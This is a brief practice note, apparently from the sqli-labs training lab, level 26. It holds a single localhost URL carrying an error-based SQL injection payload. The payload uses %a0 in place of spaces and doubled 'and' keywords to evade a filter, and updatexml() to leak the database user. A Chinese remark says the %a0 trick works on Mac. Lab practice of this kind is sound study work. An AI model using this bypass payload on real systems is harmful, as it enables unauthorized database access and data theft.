http://127.0.0.1/sqli-labs/Less-26/?id=1%a0%27anandd%a0updatexml(1,user(),1)%a0aandnd%271
Less26用%a0在mac环境下就可以绕过了